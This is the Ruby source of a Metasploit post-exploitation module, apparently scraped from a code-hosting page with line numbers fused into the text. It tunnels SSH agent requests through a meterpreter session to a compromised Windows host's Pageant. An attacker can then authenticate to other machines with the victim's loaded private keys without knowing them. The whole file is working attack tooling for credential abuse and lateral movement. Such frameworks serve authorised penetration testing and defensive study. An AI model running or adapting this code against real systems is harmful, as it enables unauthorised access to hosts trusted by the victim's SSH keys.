Path: blob/master/modules/post/windows/manage/forward_pageant.rb
28692 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'tmpdir'67class MetasploitModule < Msf::Post8include Msf::Post::Windows::ExtAPI9include Msf::Post::Windows::Priv1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Forward SSH Agent Requests To Remote Pageant',16'Description' => %q{17This module forwards SSH agent requests from a local socket to a remote Pageant instance.18If a target Windows machine is compromised and is running Pageant, this will allow the19attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are20tunneled through the meterpreter session. This could therefore be used to authenticate21with a remote host using a private key which is loaded into a remote user's Pageant instance,22without ever having knowledge of the private key itself.2324Note that this requires the PageantJacker meterpreter extension, but this will be automatically25loaded into the remote meterpreter session by this module if it is not already loaded.26},27'License' => MSF_LICENSE,28'Author' => [29'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>',30'Ben Campbell', # A HUGE amount of support in this :-)31],32'Platform' => [ 'win' ],33'SessionTypes' => [ 'meterpreter' ],34'Notes' => {35'Stability' => [CRASH_SAFE],36'Reliability' => [],37'SideEffects' => []38},39'Compat' => {40'Meterpreter' => {41'Commands' => %w[42extapi_pageant_send_query43]44}45},46'References' => [47[ 'ATT&CK', Mitre::Attack::Technique::T1021_004_SSH ]48]49)50)51register_options([52OptString.new('SocketPath', [false, 'Specify a filename for the local UNIX socket.', nil])53])54end5556def sockpath57@sockpath ||= "#{Dir.tmpdir}/#{Rex::Text.rand_text_alphanumeric(8)}"58end5960def run61# Check to ensure that UNIX sockets are supported62begin63::UNIXServer64rescue NameError65fail_with(Failure::BadConfig, 'This module is only supported on a Metasploit installation that supports UNIX sockets.')66end6768unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_PAGEANT_SEND_QUERY)69fail_with(Failure::BadConfig, 'Session does not support Meterpreter ExtAPI Pageant queries')70end7172# Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one)73if datastore['SocketPath']74# Quit if the file exists, so that we don't accidentally overwrite something important on the host system75if ::File.exist?(datastore['SocketPath'].to_s)76fail_with(Failure::BadConfig, "Socket (#{datastore['SocketPath']}) already exists. Remove it or choose another path and try again.")77end78@sockpath = datastore['SocketPath'].to_s79end8081# Open the socket and start listening on it. Essentially now forward traffic between us and the remote Pageant instance.82::UNIXServer.open(sockpath) do |serv|83File.chmod(0o0700, sockpath)8485print_status("Launched listening socket on #{sockpath}")86print_status("Set SSH_AUTH_SOCK variable to #{sockpath} (e.g. export SSH_AUTH_SOCK=\"#{sockpath}\")")87print_status('Now use any SSH tool normally (e.g. ssh-add)')8889while (s = serv.accept)90begin91while (socket_request_data = s.recvfrom(8192)) # 8192 = AGENT_MAX92break if socket_request_data.nil?9394data = socket_request_data.first9596break if data.nil? || data.empty?9798vprint_status("PageantJacker: Received data from socket (size: #{data.size})")99100response = session.extapi.pageant.forward(data, data.size)101102unless response[:success]103print_error("PageantJacker: Unsuccessful response received (#{translate_error(response[:error])})")104next105end106107vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{translate_error(response[:error])}')")108109begin110s.send(response[:blob], 0)111rescue StandardError112break113end114end115rescue Errno::ECONNRESET116vprint_status('PageantJacker: Received reset from client, ignoring.')117end118end119end120end121122def cleanup123return unless @sockpath124125# Remove the socket that we created, if it still exists126::File.delete(@sockpath) if ::File.exist?(@sockpath)127ensure128super129end130131def translate_error(errnum)132errstring = "#{errnum}: "133case errnum134when 0135errstring + 'No error'136when 1137errstring + 'The Pageant request was not processed.'138when 2139errstring + 'Unable to obtain IPC memory address.'140when 3141errstring + 'Unable to allocate memory for Pageant<-->Meterpreter IPC.'142when 4143errstring + 'Unable to allocate memory buffer.'144when 5145errstring + 'Unable to build Pageant request string.'146when 6147errstring + 'Pageant not found.'148when 7149errstring + 'Not forwarded.'150else151errstring + 'Unknown.'152end153end154end155156157